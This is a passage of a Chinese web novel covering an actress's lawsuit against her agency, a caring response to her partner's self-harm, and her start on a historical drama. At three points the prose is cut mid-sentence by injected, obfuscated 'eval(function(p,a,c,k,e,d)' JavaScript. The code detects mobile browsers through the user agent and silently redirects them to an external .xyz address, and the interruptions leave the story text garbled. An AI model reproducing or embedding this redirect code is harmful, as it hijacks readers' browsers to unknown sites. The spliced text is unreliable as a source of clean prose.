直播间里刚宣读完法庭纪律,正在核对双方当事人情况。 【6L:?????不是,诉讼还要核实住址啊?怪不得明星基本不公开庭审,这不得被私生饭追到家里?】 【7L:应璋算明星吗?千度都搜不到她的代表作,别说三番了,七八番都没有。】 【8L:单凭这张脸,哪怕是废物点心也能混到个三四线吧?何况她还有那么好的身手,铃戏真是耽误人。】 【9L:小公司是这样啦,格局小小脾气大大。】 【10L:不算很小吧?沈向和宁陶都是铃戏的,他们怎么也是二线了。但铃戏确实很像草台班子,财报和天眼查都乱七八糟的。】 法庭调查环节开始后,原告陈述和被告答辩迅速引发直播间又一轮议论高潮。 【42L:!!!!!应璋请的这个律师很顶啊!口齿清晰语气坚定,有古早律政片那味了!】 【43L:黎阳律师啊,感觉这个官司过后他要在娱乐圈一战成名了。】 【44L:我觉得直播间肯定藏了不少娱乐圈前来吃瓜的,公司和艺人都有hhh】 【45L:笑得,一想到一群被公司压榨的小糊豆跟我们一起挤在同一个直播间,我就觉得以后能有好多乐子看。】 【46L:二八分还能欠几百万?公司还让人活吗?】 【47L:而且听黎律师的意思,这些资源不是公司给的?】 【48L:铃戏的律师是不是纯新人啊?怎么说话都磕磕巴巴的……】 【73L:哦豁!高潮来了!要到双方举证质证了!打起来!打起来!】 举证质证环节从某种程度上看真的和辩论赛很像,应璋坐在原告席,感觉像看了一场实力完全不匹配的新国辩。 【82L:有一说一,铃戏真的很好笑,说公司花大代价培养了应璋,但是拿出来的培养纪录没有视频就算了,连图文也没有,甚至文件和票据都是没有签名的。】 【83L:法官说的:被告,不着急,你慢慢说,还有没有要补充的了?我听到的:你要败诉啦!】 【87L:啊啊啊啊……能不能把证据投屏啊?我真的很想看他们的聊天记录!也想看那些文件和票据!】 【88L:法官大好人一生平安!录音录像还把声音调大了,呜呜呜,我听到了,两只耳朵都听到了!】 【89L:听出一身冷汗,铃戏这虚增成本的手法也太娴熟了吧?要不是黎律敏锐点出来了,我一点都没察觉到有问题……】 【90L:真的,把其他项目的成本移花接木过来,乍一看真的很唬人。】 【97L:这种法制咖公司怎么还没倒闭?听说高层已经进去一圈了。】 【98L:这大概就是,没了领导公司才能正常运转吧?(bushi】 一场庭审持续了快三个小时,吃瓜群众已经忍不住开新帖歪话题了,等法官宣布休庭时,大家才冲回这个帖子。 【216L:???法官不宣布谁赢谁输吗?这就结束了?】 【217L:我在苦苦等结果,最后你跟我说休庭?】 【218L:emmm虽然我也想知道结果,但是理论上说结果写在判决书上,法官不会当场宣布的。】 “好了,现在回去等判决吧。”黎律笑容轻松,看起来心情不错。 应璋啪啪鼓掌:“古有诸葛亮舌战群儒,今有黎律以一当十!” 黎律摸了摸嘴角,发现压不下去之后就放弃挣扎了:“他们?十个人也凑不出来一个能把话说明白的,答辩状写得烂就算了,照着念也磕磕巴巴的。” 其实对面表现得还行,只是和黎律比起来显得比较幼稚笨拙。但应璋并不会在这个时候跑去长他人志气,于是便顺着黎律的话往下夸,把人哄得眼睛都眯起来了。 被哄得心情大好的黎律松了松领带:“回头带你的朋友找我好好聊聊,送你们一次免费咨询,看看能不能打名誉侵权。” “谢谢黎律!” 和黎律告别后,应璋小跑着出了法院大门,打算回去把这个意料之外的小福利和柏临渊分享一下,谁知刚出院门就看到一个熟悉的身影。 “妮妮!”应璋欢呼一声冲了过去,“你怎么在这?” “来接你啊!”莫伊倪捧着一大束金色鸢尾,站在一辆沃尔沃前,笑容灿烂而明媚。 “嘿嘿……”应璋先给好友一个结结实实的熊抱,然后才把花接过来,“你最近不是出差了?我还以为你今天回不来。” 上个月莫伊倪入职了一家摄影工作室,偶尔会接接旅拍之类的活。比如这次就是,临近开庭的时候有一个在滇省的旅拍,原本也是赶不回来的。 “因为有人给我定了最近一班的头等舱,我就提前回来了。”莫伊倪敲了敲身后的车窗,“你还不下来吗?” “谁?” 应璋迷茫地顺着莫伊倪的动作看过去,防窥膜遮住了车内的景致。身体里残存的形象管理突然在此时上线,应璋对着车窗理了理碎发,又低头正了正领子,然后就和车窗后的柏临渊对视上了。 应璋:……这车窗是什么时候降下去的? 庆祝的礼炮筒在柏临渊手中像是一个小巧的玩具,不过柏临渊看起来像是个不怎么玩玩具的,摆弄半天憋得脸都红了,还是没有成功让礼花炸出来。 “你能不能行?”莫伊倪劈手夺下柏临渊手上的礼炮,没忍住翻了个白眼,“都说了你送花我拉礼炮,你非不下来……” “好了好了!惊喜我收到了,礼花就不要放了。”应璋连忙按住莫伊倪的手,拦住了她当街放礼花的不文明行为,“小心等会清洁阿姨过来骂你!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439843|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我扫就是了!”莫伊倪嘟嘴,“摄影师可是扫氛围道具的熟练工种,多难清理的我都能清理干净!” 应璋:…… 这到底有什么好骄傲的啊…… 不过这还是应璋第一次看到柏临渊开车:“你会开车?” 柏临渊回答得一板一眼,动作看起来好像是在找驾证:“会的,做交换生的那年,我还拿下了英国的驾照。” “不用找了!我就是没见过顺嘴问一下……”应璋想给自己擦汗了,人怎么可以坦诚成这个样子? “你给妮妮订的票,带她过来接我的?”看着僵在座位上不知所措的柏临渊,应璋笑着拉开车门招呼着莫伊倪一起上了车,“说吧,今天什么安排?” “我们本来以为今天能出结果,但我瞅着法官好像没说?”莫伊倪从后座探过头,戳了戳应璋的后背,“不过不管结果是什么,今天都要吃大餐好好庆祝一番!” “好啊!你们想吃什么?”应璋点开点评软件准备找饭店,“今天我请客!随便吃!” “我都可以……”柏临渊抓紧方向盘,声音和平时差不多,听不出来什么情绪。 应璋低头去闻花,觉得自己浸泡在不知名的香气中:“别都可以呀!光明正大宰我一刀的好机会,你可要好好把握啊!” 柏临渊想了一下,认真道:“真的都可以,你想吃的我都喜欢。” “要不吃火锅吧?”说到吃,莫伊倪来了兴致,“吃变态辣!” “那你确实有点变态了。”应璋倒吸一口冷气,选择一票否决,“咱们三个加在一起都凑不出一个铁胃,吃潮汕火锅吧,我记得有家店的黄豆酱特别香,等下找个超市给妮妮买几根小米辣给她沾沾嘴好了。” 柏临渊:“好。” 莫伊倪:“好耶!” 因为到店的时候已经过了饭点,火锅店里的顾客并不多,三人很快就进包厢落座。 应璋放下一桩心事,大快朵颐吃得开心;莫伊倪为好姐妹开心,胃口也不差。只有柏临渊,全程都在帮两人盛汤煮肉,吃的并不算多。 不过应璋也没太在意,打算送莫伊倪回家后,再陪他去常去的糖水店吃点他喜欢的甜品。柏临渊虽然爱做饭,但饭量一直不大,又爱干净的厉害,只要出去吃饭饭量就小小的,这会不怎么吃也正常。 应璋去结账的时候,莫伊倪看向柏临渊悄声问:“你刚刚干嘛去了?消失了那么久!璋璋都准备出去找你了。” “她爱吃这里的黄豆酱,我找老板买了一点。”柏临渊看着应璋的背影,声音里有他自己都没察觉到的笑意。 “啊?老板不是不卖吗?”莫伊倪挠头,“她说是从普宁空运来的,数量有限,我们来了好几次都没能打包点酱走。” 柏临渊没说话,嘴角微微翘起,看得莫伊倪咬牙切齿—— “该死的钞能力!” 送完莫伊倪,应璋提议去吃糖水,柏临渊虽然答应了,但仍兴致缺缺,并没有吃多少。 应璋看柏临渊神情正常,除了语速比平时稍显温吞外,似乎也没什么不对劲的地方。想着可能是他冷不丁开车出远门觉得不适应,就带着人回家休息了。 “先把药吃了。”应璋看了看表,差不多也快到吃药的时间了,“吃完药洗漱好好休息一下,我还有点事要和你说……” 话还没说完,电话突然响了起来。应璋瞄了一眼屏幕,应该是之前诚恳邀请她出演女三的导演蒋卫。 怎么这会给她打电话? 应璋顶着一头问号准备去接电话,转身前顺口催柏临渊吃药:“你等会把药吃了,养胃的那个也要吃。等会好好休息,明天有事要跟你说。” 电话刚一接通,蒋卫的热情便顺着信号砸了应璋一脸—— “应老师应老师!我看到热搜了!您是不是胜诉了?有没有档期和兴趣接我这个女三的本子?” 这话密得,应璋都插不上嘴。 “还没出判决结果,一般来说会比较久,怎么也要等几个月吧……”应璋想了一下休庭后黎律跟她讲的知识点,挑拣了一些回复道。 “啊……”蒋卫很是失望,“我看网上的cut,您方律师把对方说得溃不成军,这都没有当庭宣判吗?” “没有,估计是要等一段时间才有结果……” 应璋讲着话突然觉得胳膊一痛,察觉不对的她匆匆结束和蒋卫的电话扯开房门就冲出去找人。 “柏临渊!!!” 23. 进组 人是在厨房发现的。 应璋冲过去的时候,柏临渊已经放下了手上的刀,乖乖地给自己止血了。 “不好意思,我忘了会有共感了。”柏临渊露出一个看起来有几分乖巧的笑,表情比平时生动很多,“下次一定注意。” 应璋:…… 谢谢您还记得我们的共感。 “我看看伤口……” 没有追问原因,应璋直接扒开柏临渊的袖子查看伤情。袖子掀起来发现他在用……厨房纸巾止血?不是,这人怎么对自己这么粗糙? “还行,不太深。”应璋松了口气,“我去拿纱布和冰袋,你在这等我。” 柏临渊没吭声,亦步亦趋地跟在应璋身后,像是有分离焦虑的护卫犬。 “过来,把手抬起来。” 应璋小心地揭掉覆在伤口上已经被血浸染到扭曲变形的纸巾,又用了几分力道把纱布裹在伤口上。 “对不起……” 看着应璋的动作,柏临渊突然小声道歉起来。 “为什么要道歉?”应璋奇怪地看了柏临渊一眼,“这又不是你的错。” “不是我的错?” 柏临渊愣住了,像是定格动画一样缓缓地歪头,看着应璋的脸,视线看起来很茫然,似乎没有聚焦。 “可是我划伤自己,还弄痛了你……” “当然不是你的错,你只是病了不太能控制得住自己而已。” 察觉到柏临渊的不对劲,应璋停下手上的动作,扶住柏临渊的脸和他对视:“我知道控制情绪是件很难的事情,你不必为此自责,谁都不会以弄伤自己为乐。” 柏临渊盯着应璋的鼻尖,嘴里还在嘟囔着道歉。 “如果你有情绪,觉得不开心、不舒服,可以叫我。”应璋没有出声制止柏临渊的话,而是耐心地等了一会才继续说话,“要知道我们是可以分担彼此的情绪和感受的,这个世界上不会有人比我更能感同身受了。” “可以吗?”柏临渊眼睛渐渐有了神采,“我总觉得控制不住自己,吃了药也不行……” “当然可以啊!”应璋语气很笃定,神情自然,“如果你觉得很辛苦、很难坚持的话,就叫我,然后等我来就好了。” 柏临渊喃喃重复:“等你来……” “对,等我来。”应璋捏了捏柏临渊的腮帮子,拉回他的注意力,“如果觉得控制、忍受很辛苦,那就不要控制不用忍,等我来,我们一起面对就好了。” 柏临渊用脸蹭了蹭应璋的手指,抬头应声:“好,我等你来。” 感觉到柏临渊的情绪渐渐平复下来,应璋才着手去忙其他的事情——从冷冻室找出之前存放的冰袋,感觉有点太凉了,想起冷鲜应该有之前买的凉糕,便起身拉开另一侧的冰箱门。 冷鲜室里塞满了各种处理好的配菜,看起来只要打开燃气灶,就能有一桌超级丰盛的大餐。 “你今天想自己动手做饭来着?”应璋把裹着保鲜膜的凉糕贴在伤口上方的纱布上,“下次想做什么要说出来,你不说我怎么知道呢?对不对?” 应璋也没想听柏临渊的回答,眼睛扫了一圈也没看到哪把刀沾血,扭头看向用指腹在凉糕上戳戳按按的人,直接问道:“你拿哪把刀划的?” “那个蓝色手柄的水果刀……”柏临渊小声回道,“我当时想做番石榴奶昔来着……” 为了方便应璋处理伤口,柏临渊坐在椅子上,半抬起胳膊乖乖配合。由于他身量高,又是坐姿,还不敢抬头,就只能抬起眼皮小心观察。 检查完刀上有没有锈迹的应璋转过头就发现柏临渊这幅模样,不由翘起嘴角。 有点可爱,像犯错被主人抓包的杜宾,看起来凶,其实很乖。 “给我做的吗?”应璋拉着人往外走,“去医院处理一下伤口,回来我帮你做。” 柏临渊点头:“嗯。” 知道柏临渊有车,出行就方便多了。这会天色也晚了,路上行人不多,应璋一脚油门一路畅通地开到了医院。 伤口不深,大夫清完创也没缝针,上药包扎完就让她们走了。 柏临渊全程都没喊疼,看起来像个局外人一样,好像扒开冲洗的那条伤口不在他身上。 回到家已经快十一点了,应璋翻翻冰箱,发现里面的食材都是她驾驭不了的,只能悻悻关上冰箱:“要不咱们点个外卖吧?” 应璋也不想奴役病号,但是患者本人洁癖嘴又挑,应璋只能硬着头皮陪着一起下厨。 跟在柏临渊身后转了好几圈,什么都插不上手又被塞了一嘴水果的应璋只能摸摸鼻子,说起原本打算明天再聊的话题。 应璋好不容易咽下嘴里的番石榴,赶紧抓紧时机拦住柏临渊新的投喂:“对了,咱们聊聊吧?本来想明天再跟你说的,但这会有空,就今天说吧!” 原本等待油锅升温的人不知道怎么回事,突然把没控干净水的配菜一下子都倒进锅里,油烟乍起,原本黏在柏临渊身侧的应璋下意识侧头躲开。 “嚯!” 柏临渊打开油烟机,机器的嗡鸣声压住了应璋的说话声。应璋不知道他是没听到,还是没听清,于是往他身边凑了凑,声音也放大了不少。 “我今天和黎律聊了聊你的事,等下咱俩聊聊?” 柏临渊炒菜的动作顿了顿,神色古怪:“你说明天要找我聊得,是这个?” “对啊。”应璋有点奇怪,“不然还有什么?” “我以为……”柏临渊有点懊恼,咬着唇往锅里添水。 应璋没听清:“什么?” 柏临渊把油烟机档位调小,又把榨汁机里做好的奶昔盛出来: “没什么。” 应璋:??? 等待锅内升温的间隙,应璋转达了黎律的意思,从分析建议一直讲到黎律的咨询援助。 嘴巴都要说干了,杯子里的奶昔添了一次又一次,硬是让柏临渊喂了个水饱。 “不喝了不喝了,已经到嗓子眼了。”应璋捂住杯子,拒绝了柏临渊添水的动作。 柏临渊一直安静地听着,除了一些捧场的语气助词外,什么也没说。摸不准柏临渊的态度,应璋也没敢问,只能捂嘴小口打着番石榴味的嗝。 “要吃健胃消食片吗?”柏临渊语带歉意,起身就要去找药箱。 应璋连忙拦住:“不用不用,都是水,一会就消化好了。” “我去看看锅。” 柏临渊沉默起身,应璋立马紧随其后——让病号做饭已经很过分了,再让病号端菜就太不道德了。 热气腾腾的沙茶牛腩煲好了,撑得不行的应璋杵着下巴看柏临渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457449|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭。吃了没几口,柏临渊就放下了筷子。 应璋不明所以:“怎么了?再吃两口呢?” “你觉得我应该怎么做?” 柏临渊盯着面前的碗,眼睛都不敢往应璋的方向瞟。 “啊?”应璋被这没头没脑的提问弄得一懵,但很快就反应过来了,“怎么做都可以啊,想出气的话就去举报撤稿,做PDF宣传他们的恶劣行径;要是什么都不做也可以,毕竟这些折腾起来怪麻烦的。” “不会觉得我很小气难缠,或者懦弱吗?”柏临渊抬头看向应璋,神情小心又拘谨。 应璋被这种目光看得心底一软。 按常理看,柏临渊这样的学历经历放在哪里都应该是极其耀眼的,怎么骄傲都让人觉得理所应当。本该是天骄的人,现在却是这般模样…… “不会啊。”应璋咽回哽到喉头的酸涩,语气一如往常,“怎么选都很正常啊!寻求真理就是小气?谁说这种话谁就是既得利益者,占了便宜的人才会说别人小气,以后碰到这种人记得给他两个大嘴巴子。” “噗……”柏临渊被逗乐了,眼睛也眯了起来。 应璋也笑了起来:“懒得跟这些人纠缠不是懦弱,是及时止损的明智之举。如果你有精力纠缠,那当然要为自己争取,但如果经历有限还好和这种人纠缠,那只会让自己状态变差,得不偿失。” “我明白了。”柏临渊点点头,“我知道该怎么做了。” 应璋歪头:“好啊,你要怎么做。” 柏临渊声音平静:“我要举报撤稿。” 应璋:!!! “我不懂你们学术那一套,有什么我能帮得上忙的地方吗?”应璋有点激动,“你要锤他们的话,我可以帮你做排版。” “谢谢,但是不用了。”柏临渊轻笑,“以前读书的时候,我的学术汇报格式是最漂亮的。” 应璋不懂这种学术汇报的格式到底漂亮在哪里,但是对柏临渊给他自己找场子的行为绝对支持!即使不能建言献策,也能充当个气氛组不是? 日子一天天过去,两个人的生活也渐渐平静了下来。一个埋头背书,一个对着电脑条分缕析地梳理举报证据,书房的知识含量高得吓人。 打破平静生活的是一通来自蒋卫的电话。 “应老师,我还是觉得您应该考虑一下我们剧组!” 应璋叹了口气:“蒋导,我对您的剧本很感兴趣,对您的执导能力也很有信心,但是判决文书还没有出,我不能和您签合同的。” 蒋卫还是很执着:“应老师,我找律师咨询过了,他说您胜诉的概率非常大,等于说现在只差一纸判决!” “一张判决书而已!合同可以之后再补嘛!”蒋卫越说情绪越高昂,“下周就要剧组培训了,不管判决书出没出,您先过来跟着一起熟悉一下,就当是玩了!” “培训?” 应璋愣住了,糊了这么久,她还没有见过哪个剧组会在开机前还有演员培训的。 “咱这不是古偶剧组吗?步态礼仪、武打动作什么的都要提前练练,不然回头开机了边拍边学,得花比培训多好几倍的时间。”蒋卫极为热情地解释道,“您就当出来散心了,过来看看玩玩练练手……” 散心…… 应璋突然觉得有点心动了。 24. 消息 在蒋卫声情并茂一天三顿的劝说下,应璋带着柏临渊打包进组。 虽然剧组就在婺州,但两人还是住在了剧组。 为了培训方便,导演把场地定在了离影视城不远的地方,从这里到两人的住所单程就要三个多小时,来回一趟小半天的时间就没了,不如直接住在这边来得方便。 好在蒋导很有诚意,直接帮应璋在附近短租一套房子。面积虽然比不上柏临渊的房子,但是格局其实差不多。 两人入住的第一天,柏临渊就卷着袖子来了个深度清洁,房东晚上来装网线时都震惊了,这还是她第一次把水龙头当镜子照。 “这也太干净了!”房东高兴地合不拢嘴,“你们这对小夫妻真爱干净!我给你们换个新洗衣机吧?这个旧的拿去洗洗窗帘沙发罩好了嘛!” 应璋直接呆住了,不知道应该先回应房东的热情,还是先澄清她们不是夫妻。 不知道柏临渊是被什么关键词触发了,平时总是慢吞吞的人难得嘴快了一回:“真的吗?” “真的!姨再给你们配个烘干机!保证你们住得舒舒服服的!”房东笑眯眯地离开了,走路时脚步轻快带风,看起来身体素质比很多年轻人都要好。 送走房东后,柏临渊心情大好地继续收拾房间,还换了干净的居家服准备把这里的床上用品也换一换。 看着柏临渊去换床上四件套的背影,一句话也没插上的应璋突然觉得这一幕似曾相识,很像她之前刷到短剧里的主角——勤恳为家的妻子和笨手笨脚的丈夫。 甩甩头,把脑子里乱七八糟的联想清空,应璋跟上去想帮忙搭把手,但被塞了一颗水果糖赶出去。 被关在卧室门外的应璋把嘴里的糖嚼得咯吱作响,觉得自己离废物点心又近了一步。 这次进组还是柏临渊的提议。 原本应璋只是有点心动,但并没有想好要不要接受蒋卫的邀请。一方面她原定计划里并没有重返娱乐圈这个选项,另一方面就是柏临渊,她实在放心不下他一个人在家,因此一直没有松口答应。 只是蒋卫的频繁来电存在感过于强烈,柏临渊很快就注意到了。应璋并不觉得这是件需要隐瞒躲藏的事,柏临渊听了几次应璋打电话就把事情原委理了个七七八八。 蒋卫的来电断断续续持续了差不多一个月后,柏临渊率先开了口—— “为什么不接受他的邀请?” 应璋也没藏着掖着,把她的想法和顾虑和盘托出。柏临渊听完之后并没有回应应璋的话,而是抛出了新的问题。 “你喜欢演戏吗?” 应璋从来没有思考过这个问题,进入娱乐圈演戏对她来说就是一个误打误撞的无奈之举,谁会思考自己到底喜不喜欢筷子呢? “我不知道。”应璋思考了一会,觉得还是很难界定自己对演戏的想法,“我只是觉得看别人演戏很有意思,但是我演不演好像都行?反正我也演不好。” “我觉得你是喜欢的。”柏临渊听完若有所思,“如果不喜欢的话,就不会一遍又一遍地接他的电话了。” 应璋下意识解释起来:“这不是觉得他态度挺好的……” “保险、推销的电话态度也很好,还很诚恳。”柏临渊认真反驳,“但是你会挂断,还会把他们拉进黑名单。” 应璋:“呃……” “如果你当女明星的话,我可以当你的助理。”柏临渊火速安排了新身份,并且对此适应良好,“我可以打理好你的衣食住行,呃,穿搭可能要请设计师,日常的我可以帮忙整理……” 怎么还越说越有细节了? 应璋哭笑不得:“我从来没有安排过助理……” “那你现在就有了。”柏临渊托腮看向应璋,眼睛亮亮的,“我会背着经纪人偷偷给你加餐,你放心,肯定好吃健康还不长胖……” 在柏临渊脑补出完整剧情前,应璋及时喊停:“怎么感觉你比我还期待进组?” “感觉那里更适合你。”柏临渊虚虚点了点应璋的嘴角,“你接电话和蒋卫讨论的时候,是笑着的。” “我觉得你会喜欢。” “什么……”应璋有些错愕,她在笑吗? “之前聊天的时候你说过,对小学及之前的几乎没有记忆了。”柏临渊看着应璋的眼睛,表情有点严肃,“心理医生和我讲过,记忆是需要语言维系的,那段时间很少有人跟你说话,所以你的记忆没有被强化,随着时间的流逝就遗忘了……” “你觉得看别人演戏有意思,很有可能是因为你一直就是那个看别人说话的人,这种熟悉的模式让你有安全感。” 应璋还是第一次听到这种说法,一时间不知道应该怎么回话。 柏临渊把应璋的手机往她面前推了推:“为什么不试试做说话的那个人呢?” 于是预备役演员应璋带着新晋助理柏临渊就这样水灵灵地勇闯娱乐圈了。 第一次接触剧组培训,应璋像是刚入学的小学生一样,老师教授的所有项目对她而言都十分新鲜。 有位教形体的老师是戏曲出身的,应璋跟着老师学了很多。 步法是比较好学的,应璋身体条件好,学起来很快,四方步走得老师都喜欢,连发三条朋友圈炫耀,直言是个做小生的好料子。 身段、指掌应璋学得也快,动作是标准的,但是看起来总是让人感觉怪怪的,老师纠正了很多次,最后生气的把人赶走了——“去谈个恋爱再来找我,媚一点,别像个木头桩子似得!” 蒋卫一直是应璋的头号粉丝,耍花枪会喝彩、玩扇子会鼓掌、和武指老师对动作会拼命吹彩虹屁的那种粉。 像极了圈子里的失智粉头,就算应璋指着桃子说这个应该和辣椒炒着吃,蒋卫也会点头应是夸应老师好品味。 即使蒋卫的滤镜已经厚到认知错乱,在看完应璋的眼神练习之后也匆匆逃掉了。 回到出租屋的应璋拉着柏临渊继续练习眼神,老师的教学媚眼如丝,应璋的复刻杀意十足。 柏临渊看了一会实在忍不住了,拉住应璋小声道:“你别练了,看起来感觉骂得很脏……” 应璋看了柏临渊拍下来的视频,觉得他说得对,但她不能承认:“肯定是因为我眼睛太大了才显得凶,我稍稍眯一下眼睛就好了!” 对此,形体老师的评价是——准备打架的鬼迷日眼。 努力了大半个月,应璋选择放弃。 反正这部剧里她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14471969|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要扮演温柔妩媚,学不会就学不会吧。总不能为了几个眼神动作就跑去找男人谈恋爱吧? 助理小柏听了老师的建议,觉得应璋的选择非常正确。 人都有不擅长的事情才对,现在荧幕上那么多演员哭得跟笑差不多,要么就是没有表情,要么就全是表情,都能一部接一部地拍戏,像应璋这样只是眼神不温柔的,不算什么大事。 如果导演没有绝望地找编剧老师改掉女三感情线的话,这确实不是什么大事。 编剧老师听了导演的要求,抱着笔记本犹犹豫豫地开口道:“那男三的戏份就会少很多了,不太好吧……” “会少很多吗?”蒋卫回忆了一下剧本,发现还真是,男三的个人线基本就是依附着女三展开的。 “男三可是金主妈妈塞进来的。”编剧老师小声提醒,“角色也是金主妈妈看完剧本敲定下来的……” 蒋卫倒吸一口凉气,事情开始变得棘手起来:“嘶——” 在一片不动声色的兵荒马乱中,判决结果终于出来了。 这边应刚接完黎律的电话,那边蒋卫就扑上来敲门了。 “应老师!应老师!签合同吗应老师!” 应璋拉开门就看到蒋卫喜出望外的脸:“蒋导,您怎么来了?” “我看判决文书网上有新文书,点进去一看是您的案子!”蒋卫的兴奋溢于言表,“我看了,您胜诉了!您现在自由了!” 应璋:“啊?” “我每天都刷判决文书网,早上看一遍,晚上看一遍,可算等到判决结果了!”蒋卫激动地挥舞着手上的文件袋,“合同我都带来了,您要不看一眼呢?” 应璋连忙捂嘴盖住她压不下去的嘴角:“蒋导,现在有一个好消息,还有一个坏消息,您要先听哪个?” 蒋卫:“?” 挠了挠下巴,蒋卫犹犹豫豫地开口:“先听坏消息吧……” 应璋摊手:“坏消息就是,铃戏在接到判决就放出公告说要上诉了。” “不是?他们怎么还有脸上诉啊?”蒋卫都快崩溃了,“那文书上清清楚楚写得他们违法,上诉也是败诉啊……” 应璋点点头,很是认可蒋卫的话:“上诉确实没有什么用,他们就是想拖着我。” “拖着您干什么啊……”蒋卫欲哭无泪,“留您在公司,您也不会继续给他们赚钱的,这不是纯坏吗?” “他们要是好人,我们也不是法庭相见了不是?” 应璋对此倒是看得很开,好人在圈子里总是会吃亏的,她还没见过娱乐圈有哪个公司清清白白干干净净地就做大做强了。 “那……那好消息是什么……” 蒋卫欲哭无泪,默默盘算着二审的时间。下周剧组就要正式开机了,哪怕把女三相关的戏份都放到最后,最多也只能往后拖延两三个月,而且这还是不考虑人工和布景的情况下…… 应璋笑了起来:“好消息就是,上诉不影响我继续找工作。” 蒋卫:“啊?” 惊喜来得太突然了,蒋卫有些不知所措,抓着文件袋磕磕巴巴地追问:“是我理解的那个意思吗?” 应璋点头:“现在我们可以好好谈一谈合同了。” 25. 开机 签完合同当天,蒋卫就欢天喜地地把应璋拉去工作室拍定妆照去了,还不忘叫上编剧和制片。 用蒋卫的话讲,这种能撑起预告把观众骗进来杀的大杀器,一定要在众人合力下才能发挥其最大魅力。 这部叫《明月雪时》的古偶剧主线剧情并不复杂,简单来说就是千金大小姐爱上穷书生,两人一起挣脱封建礼教束缚的故事,算是恋爱轻喜剧。 应璋在剧中饰演女三号程钰,一个贫穷但身手超绝的侠女。 一般来说,这种故事女主身边都会有个工具人,能文能武还能送温暖。 常规剧组一般会把这样的设定安排给男二,但金主妈妈说不喜欢所有人围着宠的玛丽苏宠剧情,想要girlshelpgirls,于是编剧开开心心大笔一挥就安排给女三了。 于是原本平平无奇的女三就成了整个剧组里最有用的工具人——在女主困顿时为她指明前路,在女主遇袭时保驾护航,在女主结局圆满时功成身退。 应璋拿到最初的剧本就是女三把女主从侯府偷出来后,一边逃亡一边过市井生活的片段,编剧文字功底极佳,寥寥数页纸一个洒脱又豁达的侠女便跃然纸上,难怪导演对这个角色偏爱有加。 培训的这段时间,应璋终于拿到了全部的剧本。虽然女三的戏份并不多,但绝对是那种让人眼前一亮的有效角色,应璋自己对接下来的拍摄也非常期待。 试妆的时候几人吵得不可开交—— 制片觉得必须精致叠精致才能对得起应璋这张美人脸,导演觉得要按女侠的风格怎么粗糙随意怎么来,编剧说她在创作角色的时候代入的是越剧小生形象,必须要飒爽帅气才可以。 化妆师被这些南辕北辙的要求吵得头痛,这感觉就像是甲方说他想要五彩斑斓活泼沉静的黑一样无理取闹。 应璋的脸型偏鹅蛋脸,窄窄瘦瘦折叠度高,整张脸的肌肉线条也很平整。对于化妆师而言,这种长相跟基因彩票没什么区别,随便画画都很上镜。 于是化妆师选择谁的意见都不听,按照她的理解来。 应璋本人很白,从铃戏离开之后几乎不怎么出门,现在整个人白得快要发光了。于是化妆师选了比应璋肤色深两度的色号,妆造也是简洁大气,寥寥数笔就勾勒出英气深邃的眉目,营造出一种爽朗健康的自然感。 服装是早就安排好的布衣素衫,并不是那种翩翩欲仙的浅色纱衫,而是深蓝色的窄袖袍服。袖腿一收,腰带束紧,完全就是猿背蜂腰的少年郎。 造型师喜欢得不行,又找了几套精致一些的中性风戏服让应璋一并试穿。要不是导演出来捞人,造型师差点就去顺男主演们的戏服了。 “发型做什么样的?” 化妆师围着应璋转了一圈,带了发包又拆掉,盘了发髻又散开,左看右看都觉得不对劲,举着假发套不知道要不要做整头全包。 “她骨相好,不用那些有的没的。”编剧老师凑过来比划着,“前面这块留点碎发,或者梳大光明,然后扎个高马尾就行。” 一直拿不定主意的化妆师一下子有了灵感,三下五除二就梳了一个极富少年感的高马尾发型,高悬的头发将眼尾稍稍吊起,自有一番风流韵味。 “好好好!”蒋卫看到从化妆间走出来的应璋,拍手叫好,“应老师往这一站,那程钰就从剧本上活过来了!” 在堪比站姐的好友调教下,应璋对拍照并不陌生,和摄影师虽说算不上默契,但也算顺利,天还没黑透,三套妆造和定妆照就已经全部完成了。 * 正式开始拍摄的第一天,开机仪式过后,导演把第一场戏给了应璋。 一般来说,剧组的第一场戏都是给男女主演的。但是蒋卫对女三号的用心大家有目共睹,风言风语即使没有搬到台面上,背地里也没有消停过,怎么解读的都有。 因此这一场戏既是震慑,也是回答。 导演选择了程钰骑马告别师父初入江湖这一场来做第一镜,一是想炫耀一下应璋的好身手,再有就是取个“马到成功”的好彩头。 这一场戏是程钰终于通过了师傅相舟的考验,纵马出谷入江湖的动作戏,台词并不多,只要动作足够漂亮就好。 “第一场第一镜!” 场记打板后应璋立马调整好了脸上的表情,小跑着挥手上马:“老头,我一定会声震武林半边天的!” 